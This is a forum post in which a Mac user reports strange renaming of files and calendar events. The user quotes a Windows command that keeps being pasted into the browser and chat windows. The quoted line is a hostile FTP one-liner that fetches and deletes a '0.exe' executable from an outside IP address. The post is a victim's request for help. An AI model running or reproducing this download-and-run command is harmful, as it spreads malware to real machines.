Help! "5systemroot5\system32\cmd.exe" appears and renames stuff

Only on my iMac G5 OS 10.4.9. After upgrading to OS X 10.4.9, weird stuff started to happen.
1st thing I noticed was external harddrives, folders, and even iCal events were changing from their names to "rtx" in small caps.I thought this was my friend doing it but then it happened before my eyes in iCal when I had an event selected.

2nd thing I noticed when surfing the web was the following being pasted on "find/search" bar: "5systemroot5\system32\cmd.exe." followed by "cmd /c echo open 71.9.37.5 10583 .. ik 7echo user x y .. ik 7echo get 0.exe .. ik 7echo bye .. ik 7ftp -n -v -s;ik 7del ik 70.exe 7exit" I thought this was just a weird popup ad/java programming error. But 10 minutes ago, that same language appeared in my iChat window where I was chatting via Bonjour with another networked iMac.

Does anyone know what is causing this? Can someone email me with a solution?

ps: I hate that I cannot sync my Treo 650 without having to BUY Missing Sync.

BlackBook, iMac G5, iMac Intel Mac OS X (10.4.9) Upgraded to 10.4.9 no other mods

BlackBook, iMac G5, iMac Intel Mac OS X (10.4.6)